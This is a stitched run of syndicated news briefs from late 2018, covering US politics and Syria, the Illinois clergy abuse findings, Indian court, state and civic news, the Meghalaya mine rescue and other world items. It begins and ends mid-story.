hope and justice to Tibetans in Tibet," he said. "On behalf of six million Tibetans, I extend profound appreciation to the President for signing the bill into law," the CTA President added. The new law will require the Department of State to report to the Congress annually regarding the level of access Chinese authorities granted US diplomats, journalists, and tourists to Tibetan areas in China. According to Human Rights Watch's 2018 Annual Report, the Chinese government continues to "severely restrict religious freedom, speech, movement, and assembly, and fail to redress popular concerns about mining and land grabs by local officials." Since 2014, the International Campaign for Tibet (ICT) in coordination with Tibetan-American associations and Tibet support groups had led the effort to approve the Reciprocal Access to Tibet Act. The Dalai Lama has lived in India since fleeing his homeland in 1959. The Tibetan exile administration is based in this northern Indian hill town. --IANS vg/prs (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A 30-year-old man from Thanjavur in Tamil Nadu has been arrested for raping a middle-aged British woman and robbing her belongings early on Thursday near the beach village of Palolem, police said. Superintendent of Police (South Goa) Arvind Gawas said that CCTV footage near the scene of the offence and at the local railway station helped police track down the accused at the Margao railway station, located 35 km from Canacona village. "The accused has been identified as Ramachandran, 30, and is from Thanjavur in Tamil Nadu. We arrested him as he was trying to flee from the Margao police station," Gawas said. The accused allegedly raped the British national around 4.30 a.m. when she was returning from the Canacona railway station to her guest house near Palolem beach after missing a train. Police have booked the accused for rape as well as robbery. Police said that the accused first tried to rob her and chased her into nearby fields and then raped her, before fleeing with her bags which contained Rs 20,000 in cash. The victim is a regular visitor to Goa for the last 10 years. Goa is a popular tourism destination attracting more than seven million tourists every year, half a million being foreign nationals. Over the last decade, crimes against foreigners, especially women, has been a cause for concern in Goa, especially after the sexual assault and subsequent death of a British teenager Scarlett Keeling in 2018. --IANS maya/mr (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Donald Trump-led US administration announced that it has started returning US troops home from Syria after claiming a victory in the fight against the Islamic State (IS) without revealing any detailed timetable. "We have started returning US home as we transition to the next phase of this campaign," said White House Spokesperson Sarah Sanders in a statement on Wednesday, claiming that America has "defeated the territorial caliphate". Pentagon later echoed the White House claim, saying that the US military has already begun the process of bringing the US forces back while emphasizing the continuity of the campaign, Xinhua news agency reported. "The Coalition has liberated the IS-held territory, but the campaign against IS is not over," Pentagon spokeswoman Dana White said in a tweet. All US State Department personnel are being evacuated from Syria within 24 hours, informed sources said. An official also revealed that the time-frame for the troops withdrawal from the war-torn Arab country is expected to be between 60 and 100 days. However, a senior Trump administration official, during a background briefing held on Wednesday afternoon, did not directly answer reporters' questions on how the administration intends to withdraw the troops or whether there will a deadline for that. Sanders' statement came about one hour after US President Donald Trump hinted in a tweet about imminent US troop withdrawal from Syria. "We have defeated the IS in Syria, my only reason for being there during the Trump Presidency," Trump tweeted on Wednesday morning. Earlier on Wednesday, the US media cited anonymous officials as saying that the US is planning a "rapid" and "full" withdrawal of troops from Syria. Currently, there are more than 2,000 US soldiers deployed in Syria. Trump has long voiced his desire to bring the US troops back home when possible, while senior administration officials including Defence Secretary James Mattis have advocated for a longer-term military deployment in Syria to secure a victory against the IS. Meanwhile, the Trump administration's claim about victory against the IS has been questioned. "I strongly disagree. It has morphed into other forms of extremism and the threat is very much alive," tweeted British Defence Minister Tobias Ellwood, following Trump's claim on the social media. Senior Republican Senator Lindsey Graham warned "devastating consequences" for US troops quitting Syria. "An American withdrawal at this time would be a big win for IS, Iran, Bashar al Assad of Syria, and Russia," the lawmaker from the state of South Carolina said in a statement on Wednesday. --IANS pgh/ (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The six Catholic dioceses of US' Illinois state hid the names of at least 500 priests accused of sexual abuse, the state's Attorney General has announced. Illinois Attorney General Lisa Madigan said in a report on Wednesday that the Catholic Church received allegations against 690 parish priests, of whom only 185 were credibly accused and their names released. In many cases, the accusations had "not been adequately investigated by the dioceses or not investigated at all", Madigan's office said. The church often failed to notify law enforcement authorities or state Department of Children and Family Services about the allegations, CNN reported. Almost 75 per cent of the accusations were considered not credible as there was only one victim who had complained or the cases remained uninvestigated because the priest in question had relocated, died or belonged to other orders such as Jesuit, Marist or Franciscan. "Clergy sexual abuse of minors in Illinois is significantly more extensive than the Illinois Dioceses previously reported," Madigan said in the report. "... The Catholic Church has failed in its moral obligation to provide survivors, parishioners and the public a complete and accurate accounting of all sexually inappropriate behaviour involving priests in Illinois." The failure to investigate also meant that the church never made an effort to determine whether the conduct of the accused priests was ignored or covered up by superiors, Madigan said. Madigan began her investigation in August, after a Pennsylvania grand jury released a 900-page report detailing horrific abuses by 300 Catholic clergy against over 1,000 victims. Since then, 36 dioceses publicized self-reported lists of clergy "credibly accused" of abusing minors. There are 197 dioceses in the US. The allegations also struck with particular virulence the archdioceses of Boston and New York, whose cardinal, Timothy Dolan, had to testify in 2013 in a sexual abuse investigation involving priests. In 2007, the American Catholic Church paid a compensation of $660 million, following an out-of-court settlement, to more than 500 victims. --IANS soni/sed (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Justice Department asked the Supreme Court to take up the ban on transgender people in the military last Thursday. They want the Supreme Court to bypass appellate courts to either enforce the law immediately, or temporarily while the issue is being decided on in the legal system, according to NBC. The department is being forced "to maintain a policy that it has determined poses substantial risks and threatens to undermine, disrupt unit cohesion and impose an unreasonable burden on the military that is not conducive to military effectiveness and lethality, Solicitor General Noel Francisco said in the briefs he filed, NBC reported. The Supreme Court has only bypassed the normal system about a dozen times in the past century, and those were mainly for national emergencies. The US has imposed sanctions on 18 Russian individuals and four entities, according to a statement issued by the US Department of Treasury. The sanctions were in response to "Russia's continued disregard for international norms", said the statement on Wednesday, Xinhua news agency reported. According to the statement, 15 of 18 individuals are members of Russia's Main Intelligence Directorate (GRU), whom the US accused of involving in "attempting to interfere in the 2016 US election, efforts to undermine international organisations through cyber-enabled means, and an assassination attempt in the UK". The US also imposed sanctions on four entities and several individuals related to Russian efforts to interfere with political and electoral systems worldwide, said the statement. All property and interests in property of these persons subject to or transiting US jurisdiction are blocked, and Americans are generally prohibited from engaging in transactions with them, according to the statement. The Donald Trump-led US administration to date has sanctioned 272 Russia-related individuals and entities, said the Treasury Department. The Russian government has long regarded the sanctions imposed by the United States illegal, vowing to respond accordingly. The frequent sanctions, the growing US military presence in Eastern Europe along with the US decision of abandoning the Intermediate-range Nuclear Forces (INF) Treaty have intensified ongoing tension in US-Russia relations. --IANS pgh/ (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) US Senator Jeff Merkley has introduced a Senate bill aiming to stop the Department of Agriculture (USDA) researchers from euthanising kittens used in their work. Merkley introduced on Wednesday a Senate version of the KITTEN Act -- officially, the "Kittens in Traumatic Testing Ends Now Act of 2018". "The USDA breeds up to 100 kittens a year, feeds them parasite-infected meat in order to have the parasite's eggs harvested for use in other experiments," the Oregon Democrat was quoted as saying by CNN. The kittens are used in research into toxoplasmosis -- a parasitic illness, which can be serious for unborn children and people with compromised immune systems. They are killed after the research, but Merkley said they should be adopted instead. He said veterinarians had told him the kittens, which are euthanised before they are three months old, could be treated for the parasite and emerge "very healthy". USDA's Agricultural Research Service, which runs the testing, did not comment on Merkley's move. A USDA spokesman had earlier told CNN that the use of cats was "essential" to the research to combat a widespread parasite and that the agency "makes every effort to minimize the number of cats used," calling the 100 figure a "serious over-estimation". The Agriculture Department said the cats weren't put up for adoption because of the potential risks to adoptive families. The KITTEN Act's House of Representatives version was introduced by Republican Rep. Mike Bishop, and now has 61 co-sponsors, including both Republicans and Democrats. Bishop lost his re-election bid last month. Merkley said he hopes to make the effort bipartisan in the Senate, too, when members return in the new year and that he may discuss the issue with Agriculture Secretary Sonny Perdue. --IANS soni/sed (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A Kurdish-led alliance in Syria on Thursday said that US President Donald Trump's surprise decision to withdraw American troops would allow the Islamic State (IS) group to recover. A statement from the Syrian Democratic Forces (SDF)-- an alliance of Syrian Kurdish and Arab fighters -- warned of a military vacuum that would leave the alliance trapped between "hostile parties", the BBC reported. Trump said on Wednesday that his government considered its work in Syria is complete as the IS has lost nearly all the territory it had occupied in that Arab nation in 2014. However, major allies and certain US politicians disputed the claim. A US partnership with the SDF was credited with playing a major role in the virtual elimination of the terror group after it overran large swathes of Syria four years ago. The White House announced that the withdrawal of 2,000 US troops from the Middle Eastern nation had begun, hours after Trump proclaimed the defeat over IS. But the SDF said the fight against terror had not come to an end. "The decision of the White House to withdraw from north and east Syria will negatively affect the campaign against terrorism and will give its supporters political, field and military momentum to revive again and carry out a counter-terrorism campaign in the region," it said in a statement. "The battle of fighting terrorism is not over yet and it (terrorism) is not fully defeated, but it is at a crucial stage that demands cooperation from all parties and a greater support from the international coalition to sustain the battle," the SDF added. It also said that the US decision would have serious repercussions that would destabilize the world. The SDF launched a campaign last September with the intention of seizing the last strongholds of the terror organization around the Euphrates River, near the Iraqi border. Turkey, meanwhile, said it was poised to launch a military operation against the Kurdish YPG militia -- the main fighting force in the SDF -- which it regards as a terrorist group. The US support for the group has strained relations between Washington and Ankara. --IANS soni/sed (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Vedanta Ltd has applied to the Tamil Nadu Pollution Control Board (TNPCB) for permission to reopen its copper smelter plant, known as Sterlite Copper, in Tuticorin following a favourable decision from the National Green Tribunal (NGT), a senior official said here on Thursday. The company has reapplied for getting the Consent to Operation with TNPCB for restarting the copper smelter plant, P. Ramnath, CEO, Sterlite Copper, told reporters here on Thursday. He said the plant can start operations within two months on receipt of the permission. On December 15, the NGT set aside the Tamil Nadu government's order to close the copper smelter plant permanently. The NGT ordered the TNPCB to renew the Consent to Operate within three weeks. Meanwhile, the Tamil Nadu government has said it would appeal against the NGT order in the Supreme Court. Tamil Nadu had ordered the closure of the Tuticorin plant, around 650 km from Chennai, following protests and death of 13 persons in a police firing on May 22. Locals allege the plant causes pollution and affects their health. --IANS vj/nir (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The British gazetteers suggest roads were in bad shape before the British went about the task of building them. Yet, we do know roads had been built in the past. There is no contradiction. A post-Independence (1965) Varanasi district gazetteer succinctly tells us what happened. Nevertheless, communication by road, though imperfect, was not entirely lacking in the past as the Mauryan imperial road from Pataliputra to the north-west and the Arabian Sea passed through Varanasi (although it is not known when this road was actually constructed.) It seems to have been reduced to a mere ... The ruling and its allies in have decided to stage a demonstration outside the Parliament in Delhi next month to mount pressure on the Centre for granting statehood to the Union Territory, a long-pending demand. Chief Minister V Narayanasamy said the decision was taken at a meeting of leaders of various parties convened by him here Wednesday night, where concern was expressed over the Centre 'slashing' grants to the UT and the style of functioning of Lt Governor Kiran Bedi, who has been at loggerheads with the government on various issues. Briefing reporters late Wednesday night about the meeting, boycotted by the principal opposition AINRC and the AIADMK, he said the plea for statehood had been raised on several occasions in the past both inside the UT assembly and outside. "The Assembly has adopted 13 resolutions in the past urging the centre to grant statehood. But the Centre remains irresponsive and silent to our resolutions," he said. Narayanasamy said he and his ministerial colleagues, legislators and leaders of and its allies, including the DMK and the Left parties, would participate in the demonstration in the first week of January. The date would be announced later. The ongoing winter session of Parliament is slated to end on January 8. The chief minister said a resolution was passed at the meeting, condemning the continued slashing of grants by the NDA government to the administration to meet its budgetary commitments. "We have had central grant of up to 90 per cent of our budget allocations in the past. This had been brought down to 70 per cent and now to 26 per cent of the budgetary allocations, thus affecting implementation of various welfare schemes," he added. Narayanasamy alleged Bedi was functioning in a manner that was "injurious to the welfare of the people and also in implementing welfare schemes". Bedi had been issuing oral orders arbitrarily to officials and was also "intimidating them on several occasions", he claimed. The senior Congress leader also accused Bedi of "misusing her authority" and interfering in the functioning of the elected government. The Congress and the chief minister have earlier demanded recall of Bedi, a former BJP leader and an ex-IPS officer, and the ruling Congress has been involved in a turf war since she was appointed Lt Governor of in May 2016. Her style of functioning, in undertaking field visits and directly interacting with officials, has irked the ruling party on several occasion. Narayanasamy said the recent Supreme Court verdict upholding the nomination of three BJP leaders as members of the assembly "has struck at the roots of principles of democracy and federalism". The government would file a review petition in the apex court against the order, he added. The chief minister dubbed the nomination of the BJP members by the Centre as "induction of MLAs through the backdoor." He said that at the meeting Wednesday night, leaders of the parties extended their wholehearted support to the resolutions adopted. Former Congress leader Sajjan Kumar approached the Delhi High Court Thursday seeking time till January 30 to surrender after being recently sentenced to life imprisonment in a 1984 anti-Sikh riots case. 73-year-old Kumar, who was directed by the high court on Monday to surrender before authorities by December 31, sought more time saying he has to settle family affairs. The plea is likely to come up for hearing on Friday. Advocate Anil Sharma, representing Kumar, said he needed some more time to file appeal before the Supreme Court challenging the high court's verdict, and Kumar has to settle his family matters relating to children and property. The application said Kumar is "under shock and surprise" since the time he has been convicted and he believes that he is innocent. The case relates to killing of five Sikhs in Raj Nagar part-I area in Palam Colony in South West Delhi on November 1-2, 1984, and burning down of a Gurudwara in Raj Nagar part II during that period. The riots had broken out after the assassination of the then Prime Minister Indira Gandhi on October 31, 1984 by her two Sikh bodyguards. In the application, Kumar said he has a big family, including wife, three children and eight grand children and has to settle certain family matters including those related to property. The plea also said he has the statutory right to file an appeal against the high court verdict for which he needs to engage senior advocates who are presently out of India on holidays as the Supreme Court is on vacations. "The applicant (Kumar) is the best person to brief his counsel and inform them about the facts. The applicant prays that he be granted further extension of 30 days so as to enable him to settle his family affairs to meet his close relatives, near and dear ones including friends who have been associated with him over a period of 73 years of his life," it said. Kumar was convicted and sentenced to imprisonment for "remainder of his natural life" in the case by the high court on December 17 which had said the riots were a "crime against humanity" perpetrated by those who enjoyed "political patronage" and aided by an "indifferent" law enforcement agency. The high court had set aside the trial court's verdict which had acquitted Kumar in the case. The court had said there has been a familiar pattern of mass killings since the Partition, like in Mumbai in 1993, Gujarat in 2002 and Muzaffarnagar, UP in 2013, and the "common" feature of each was the "targeting of minorities" with the attacks being "spearheaded by the dominant political actors, facilitated by the law enforcement agencies". The six accused, including Kumar who was a Member of Parliament at that time, were sent for trial in 2010. Three years later, the lower court convicted five of the accused but acquitted him of all the charges. The high court has upheld the conviction and varying sentences awarded by the trial court to the other five -- former Congress councillor Balwan Khokhar, retired naval officer Captain Bhagmal, Girdhari Lal and former MLAs Mahender Yadav and Kishan Khokhar. It also convicted them for criminal conspiracy to burn down residences of Sikh families and a gurdwara in the area during the riots. The trial court in 2013 had awarded life term to Khokhar, Bhagmal and Lal, and a three-year jail term to Yadav and Kishan Khokhar. Following the high court verdict, life term of Khokhar, Bhagmal and Lal has been upheld and the sentence of Yadav and Kishan Khokar has been enhanced to a 10 years in jail. All six, including Kumar, have been directed by the high court to surrender by December 31, and not to leave the city of Delhi. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Two senior IAS officers of the Delhi government, including principal secretary of Transport department Varsha Joshi, have been transferred to take charge as commissioners of municipal corporations in the city. Joshi, a 1995-batch IAS officer, who held the charge of General Administration Department (GAD) and power department, has been transferred as commissioner of North Delhi Municipal Corporation, read a Ministry of Home Affairs order on Thursday. Dilraj Kaur, a 2000-batch IAS officer, has been transferred to East Delhi Municipal Corporation as the new commissioner. She had served as labour commissioner in the Delhi government. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Sikkim assembly on Thursday passed the third supplementary demands for grant of Rs 334.27 crore and the appropriation bill on the second and final day of the brief session. The 32-member house passed the two financial bills by voice vote. The passage of appropriation bill authorises the state government to take the sanctioned money from the consolidated fund of Sikkim. The house also passed the Sikkim Lokayukta (Amendment) Bill, to streamline and strengthen functioning of the state Lokayukta. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A day after the much-awaited Metro Phase-IV was approved by the Delhi government, the ruling AAP and the opposition BJP Thursday traded charges in the assembly over delay in the project. Responding to a Vote of Thanks motion by ruling party to congratulate the Delhi government, Deputy Chief Minister Manish Sisodia slammed the BJP, alleging that the party created hurdles in the project. "Despite the BJP's conspiracy, the Aam Aadmi Party (AAP) dispensation cleared the Phase-IV of the Delhi Metro for the benefit of Delhiites," Sisodia said. Leader of Opposition in the Assembly Vijender Gupta blamed the AAP government for delaying the project for three years. The approval of the project, given at a cabinet meeting chaired by Chief Minister Arvind Kejriwal Wednesday, comes around two-and-a-half years after it had given in-principle nod to the Phase-IV project, which is expected to be completed by 2024. On the recent Metro fare hike, Sisodia said the Delhi government will reduce metro fare by 25 to 30 per cent and alleged that the Bharatiya Janata Party does not want the fares to come down. Sisodia alleged "fictitious" calculation in estimates pointing cost of the Delhi Metro Phase-IV project, which was earlier Rs 57,000 crore and was scaled down to Rs 46,000 crore. "They (BJP) fight to take credit of the Metro Phase-IV, but we fight for the people of Delhi. Based on fictitious calculation, they tried to stall Phase-IV of Metro by hatching conspiracy." Gupta questioned the ruling party for delaying the project for three years. "You are trying to misguide the people. After three years, what has changed that you cleared it now," he said amid interruptions of the ruling party legislators. Transport minister Kailash Gahlot also countered the opposition's allegations, saying there were several reasons that led to the project's delay. "We were in regular touch with the Centre over it. The files took rounds 4-5 times. Also, the goods and services tax (GST) was introduced that led to recalculations of the estimates," Gahlot told the House. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Russian spacewalker Oleg Kononenko (suit with red stripes) works outside the International Space Station over 250 miles above Earth to inspect the Soyuz MS-09 spacecraft. During the spacewalk, he and fellow spacewalker Sergey Prokopyev (out of frame) examined the external hull of the Soyuz crew ship docked to the Rassvet module. The area corresponded with the location of a small hole inside the Soyuz habitation module that was found in August and caused a decrease in the space station's pressure. The hole was fixed internally with a sealant within hours of its detection. During the spacewalk, Kononenko and Prokopyev collected samples of some of the sealant that extruded through hole to the outer hull before heading back inside the Pirs docking compartment and closing the hatch completing a seven-hour, 45-minute spacewalk. iss057e131661 (Dec. 11, 2018) - Larger image Please follow SpaceRef on Twitter and Like us on Facebook. The Delhi High Court on Thursday told the AAP government that it was liable to pay the three municipal corporations in the city in accordance with the recommendations of the Fourth Delhi Finance Commission (4th DFC). A bench of Chief Justice Rajendra Menon and Justice V K Rao said that if the Delhi government has objections to releasing funds as claimed by the three municipal bodies under the 4th DFC, then the Chief Secretary will have to file an affidavit indicating reasons for it, and will be considered on the next date of hearing on January 8. "It is your (Delhi government) liability to pay as per the 4th DFC," it said. The court, during the hearing, asked the corporations to inform the Delhi government within three days about the amount of funds they need to pay the salaries and pensions of their employees according to the 4th DFC recommendations. The bench said that on receiving the claim, the Delhi government will release the funds to the corporations. However, Delhi government standing counsel Rahul Mehra objected to this saying that the amounts claimed have to be verified first. The bench disagreed with the contention at first, but when Mehra persisted that no interim order be passed without giving a full hearing to the government, the court directed that if there was any variation in amounts claimed by the corporations, then it should be mentioned by the Chief Secretary in the affidavit. The court also declined to issue any direction to the central government despite the Delhi government's claim that the Centre too has to contribute towards the funding of the corporations. The bench said it had twice in the past -- on April 16 and May 25 this year -- directed the Delhi government to implement the 4th DFC recommendation and said it will not proceed with the instant matter till its orders are complied with. Mehra contended, during the hearing, that the Delhi government has complied with the directions of the court. He also alleged that the north and east Delhi municipal were in poor financial condition due to poor management, more cleaning staff and "ghost employees". The bench was hearing a batch of writ petitions on providing adequate funds to all the local bodies, including the three municipal corporations, to enable their proper functioning. On April 16, the high court had directed the Delhi government to release the amounts according to the 4th DFC within four weeks for the period from November 1 last year to March 31 this year, saying it was imperative to ensure salaries are paid and civic facilities are not affected. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) RTI activist Agnes Kharshiing, who was assaulted by coal mafias last month, Thursday reiterated her demand that the case be handed over to the CBI. Agnes and her aide Amita Sangma were brutally assaulted when both the women had gone to take photographs of the illegal coal mining in East Jaintia Hills district on November 8. "The CBI is a seasoned investigation agency and I insist the case to be handed over to the CBI since powerful people are also supporting the accused people," Agnes told PTI. She also suggested that the state government refrain from wasting public money by instituting an independent inquiry into the November 8 attack which left her brutally injured and on life support for almost a month. She said judicial inquiries in the past had shown no results, quoting past inquiries which cost the state's exchequer over Rs 1 crore. Amita Sangma and the family members of both had also written to the Governor demanding handing over of the probe to the CBI. Chief Minister Conrad K Sangma and his cabinet had decided to institute a judicial inquiry into the case. At least six persons have been arrested so far while the main accused, who had verbally stopped the activists from taking photographs, is on the run Agnes was admitted to the North Eastern Indira Gandhi Regional Institute of Health and Medical Science (NEIGRIHMS) in a serious condition after the attack. She was discharged from the hospital on December 10. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) An Agra youth committed suicide on Thursday, hours after his 15-year-old cousin, allegedly set ablaze by two men in the district, died at a hospital in the national capital, police sources said. The Dalit girl died in Safdarjang hospital in Delhi, where she was brought after being set on fire on Tuesday. The police had later called the youth for questioning, sources said. His body was found on the terrace of his house in Lalau village under Malpura police station area in Agra district. A forensic team found some poisonous substance at site, the sources said. According to police, the class 10 girl was waylaid by two unidentified men in Agra, who allegedly poured petrol on her and set her on fire with a lighter. The girl had suffered 55 per cent burn injuries, including facial burns, a doctor at the Safdarjung Hospital said. Late Wednesday night, she was put on ventilator. She died at 1:30 am, he said. The girl was initially admitted to the S N Medical College hospital in Agra, but was later referred to the Safdarjang Hospital in New Delhi, the police said. Police are on the look out for the two unidentified men. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) National carrier has realised as much as Rs 7.24 billion through its assets monetisation programme as well as from space rentals, Parliament was informed Thursday. Of this, an an amount of Rs 4.10 billion has been mopped up till date through sale of its non-core assets in various cities in India and abroad, Minister of State for Civil Aviation Jayant Sinha said in a written reply to the Lok Sabha. "Till date, has realized an amount of Rs 4.10 billion through sale of its non-core assets in various cities in India and abroad. AI has also realized a rental income of Rs 314 crore approximate. A total of Rs 7.24 billion has been realised by assets monetization and space rentals," Sinha said. The Cabinet Committee on Economic Affairs (CCEA) approved the Financial Restructuring Plan (FRP) and Turn Around Plan (TAP) for (AI) in the 2012. It also approved monetisation of real estate assets in Air India to the tune of Rs 5,000 crore over the next 10 years period with the annual target of Rs 5 billion from fiscal 2013 onwards, he said. Sinha said Air India has initiated e-auction through MSTC for the sale of some of its non-core assets comprising of residential and commercial properties spread across the country. As many as 16 properties across Amritsar, Agartala, Bhuj, Bengaluru, Chennai, New Delhi, Gwalior, Hyderabad, Imphal, Kolkata, Lonavala (Maharashtra), Mangalore Mumbai, Nasik, Tiruvanthapuram and Pune have been identified for auction through MSTC, the minister said. He also said that 14 Air India properties various cities have been put on sale. Replying to another member's question the minister said that Air India expects to save up to Rs 80 million to 100 million per annum from its decision to stop serving non-vegetarian food on board its domestic flights. Non-vegetarian meals have been discontinued in the economy class of domestic Sector flights from June 2017 to save costs, reduce wastage, improve service and also avoid any chances of mix up of meals, Sinha said in the reply. The expected annual saving is Rs 80-100 million per annum, he said. operator board on Thursday constituted a committee to explore options for raising funds to strengthen company's According to reports, the company has plans to raise around $2 billion. "The company at its meeting held today has formed and authorised 'special committee of directors for fund raising' to comprehensively explore/evaluate various options of fund raising for the company to strengthen its capital structure and balance sheet," said in an exchange filing. The company, however, did not quote the amount it plans to raise. The committee will have to place the final recommendation before the board for its approval and final decision, it added. had recently raised $1.25 billion from six -- Warburg Pincus, Temasek, Singtel, SoftBank Group and others through a primary equity issuance in Airtel Africa. The major used the fund to reduce Airtel Africa's existing debt of approximately $5 billion. The consolidated debt of Bharti Airtel stood at around $16 billion at the end of July-September 2018 period. An Albanian MP hurled eggs at Prime Minister Edi Rama in parliament on Thursday, splattering his tie in a dramatic return for an opposition coalition that has boycotted the house for six months. Bodyguards quickly rushed to help Rama, who was addressing MPs from a podium about recent student protests. The session was postponed until the evening and the speaker of the parliament said the egg-throwing MP, Endri Hasa from the conservative Democrat party, would be banned for 10 days. The opposition said the act was in solidarity with student protesters, who have recently been tossing eggs at the education ministry during rallies. Former president and current opposition MP Sali Berisha wrote on Facebook that the eggs were "a greeting card for the Christmas and New Year's holidays... sent by the opposition to Edi Rama". An incensed Rama lashed out immediately on Twitter. "During the months of boycott, their deputies had to kill time in the hen houses by raping chickens and looting eggs," the Socialist Prime Minister wrote. "The opposition should have discussed the students' demands but in fact it turned the parliamentary session into a conflict," he added. The students have been gathering in Tirana for weeks to demand lower tuition fees, better campus facilities and other reforms of the public university system. Rama's government has said it was ready to accept the demands but first wants dialogue with the protesters. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Almost 700 clergymen in Illinois have been accused of child sexual assault, a far greater number than the Catholic Church had previously disclosed, the Midwestern US state's top prosecutor has revealed. Illinois Attorney General Lisa Madigan said Wednesday the Church's revelations that 185 clergy members were credibly accused of sexual abuse fell short of the number her office has uncovered. The preliminary results of an investigation that began in August found more than 500 additional priests and clergy members with sexual abuse allegations in the Midwestern state's six dioceses a total of at least 685 accused. In a scathing statement, the attorney general's office criticized the Church's handling of the abuse allegations, saying investigations were lacking, and in many cases law enforcement and child welfare authorities were not notified. "The preliminary stages of this investigation have already demonstrated that the Catholic Church cannot police itself," Madigan said. She added that the church had failed to provide "a complete and accurate accounting of all sexually inappropriate behaviour involving priests in Illinois." The Illinois investigation was prompted by a sweeping grand jury report in August that revealed credible allegations against more than 300 suspected predator priests and identified over 1,000 victims of child sex abuse covered up for decades by the Catholic Church in the state of Pennsylvania. In October, federal authorities for the first time opened an investigation into clergy abuse. Dioceses in the state reported receiving federal grand jury subpoenas to produce documents. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) An Indian-American businessman and philanthropist has donated Rs 5 crore for the construction of a multipurpose hall at his alma mater Delhi Technological University, the varsity said. Dr Rajesh K Soin, an alumnus of 1969 batch of Mechanical Engineering and now chairman and CEO of Soin LLC at Ohio in the US, donated the amount for the under-construction hall. The university administration said it has decided to honour the alumnus by naming the multipurpose hall, with a seating capacity of 3,000, after him. So, the multipurpose hall is now named 'Raj Soin Hall', it said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Mining engineer Jaswant Singh Gill, who had once rescued 64 people from a flooded quarry in West Bengal, will be shortly arriving to Meghalaya's East Jaintia Hills district to aid the search operation for labourers trapped in a rat-hole coal pit, a top official said. Over a dozen miners were reportedly trapped on December 13 after water from nearby Lytein river gushed into the illegal coal pit. All efforts made by the district authorities to trace them have turned futile over the past seven days. "We were informed by the state government that Gill will be arriving today. He is an expert in mine mishaps and was specially being flown in for the task," the district official told PTI. Gill was contacted at the behest of Chief Minister Conrad K Sangma, who also took up the matter with the Ministry of Home Affairs earlier this week, he said. A resident of Amritsar, Gill had received several awards for his act of bravery in 1989. He had volunteered and saved lives of 64 miners from a flooded mine in Raniganj area of West Bengal. Meanwhile, S K Singh, a member of National Disaster Response Force, on Thursday expressed disappointment over the fact that the water level in the mine had risen considerable following Tuesday's incessant rain. Over 100 personnel from the NDRF, the Meghalaya Disaster Response Force and the state police are currently camping at the site, waiting for its water level to recede to begin their operation. "Despite putting into service two 25 Hp pumps, the water level in the mine has not subsided," Singh said. One person, identified as Krip Chullet, has been arrested so far pertaining to the mine disaster. Chullet was allegedly involved in hiring labourers, overseeing the work and sending them down the shaft. Disaster Management Minister Kyrmen Shylla said there were little chances for the miners to be rescued alive. Admitting that rat-hole mines in Meghalaya are nothing less than "death traps", Shylla said a similar incident in 2012 had claimed lives of 14 miners in South Garo Hills. "It has been a week since the miners were trapped in the pit. Only a miracle can save them," he added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Students of the Aligarh Muslim University held a candle light peace march to protest against the recent killings of seven civilians in Jammu and Kashmir's Pulwama district. The students, led by leaders of the AMU Students Union, Wednesday evening wore black bands and carried placards which said 'Kashmir is Bleeding', 'No More Hate' and 'Respect Human Rights'. The seven civilians died in south Kashmir's Pulwama district on December 15 when security forces allegedly opened fire at an unruly crowd that tried to storm the site of an encounter in which three militants and an Army man were killed, police had said. The students began their march from the Maulana Azad Library which culminated at the Baab-e-Syed gate. Later, president of the AMU Students Union Salman Imtiaz handed over a memorandum to the district authorities, addressed to the President of India, stating that it is now imperative that the situation in the Kashmir Valley should be urgently prevented from deteriorating further. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Actor Amy Adams has revealed that her performance as Lynne Cheney in the political satire "Vice" was inspired by her grandmother. According to The Hollywood Reporter, the 44-year-old actor recently appeared "Late Night With Seth Meyers" and during the show, she explained how she prepared for the role. "As I started researching her, there was something in her voice and something that sort of started to remind me of my grandmother... There was just something in the way she was raised. My grandmother was raised on a farm and there was a pioneering spirit," Adams said. "My grandma, she was tough. She told it how it was. There was no sugarcoating it," she added. Adams recalled that as a kid she used to help her grandmother in household chores and she never spoiled her in any way. "She was great, but tough. We did a lot of chores. We got worked hard at Grandma's house, so I guess something about the work ethic that was instilled reminded me of Lynne Cheney," the actor said. Directed by Adam McKay, "Vice" features Christian Bale as former US vice president Dick Cheney. The film, which stars Sam Rockwell and Steve Carell, will release on Christmas in the US. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) BJP leader Ananth Kumar who passed away last month was fondly remembered on Thursday, with Vice President Venkaiah Naidu recalling him as his younger brother at a condolence meeting on Thursday at the Constitution Club here. The condolence meeting was attended by most of the Union ministers and top BJP leaders including party president Amit Shah. Naidu said it is difficult to imagine and reconcile the sad demise of dynamic Kumar. "He was like my younger brother and always took my guidance. He was an ideal grassroots worker, ideal politician, ideal parliamentarian and an ideal friend," Naidu said. Kumar died at a private hospital in Bengaluru after battling lung cancer for several months, in the early hours of November 12. Former deputy prime minister and veteran BJP leader Lal Krishna Advani in an emotional remembrance said, "I get opportunity to participate in the condolence meetings but I could not think that I will have to participate in the condolence meeting of Ananth ji. I was very much grieved to listen about his death." During a condolence meeting for Atal Bihari Vajpayee in August, Advani, who along with the former prime minister was a central figure in the BJP for much of its existence, described the party stalwart as one of the country's tallest statesmen and his closest friend for over 65 years whom he will miss immensely. Union External Affairs minister Sushma Swaraj remembered Kumar as calling her as mother "Whenever he would be very much sad and disappointed, he used to call me on phone and also meet me. I pay my homage to such obedient child," she said. BJP chief Amit Shah said Kumar was not so old that one could think of his passing away, and termed him as a leader who laid the foundation of the party in 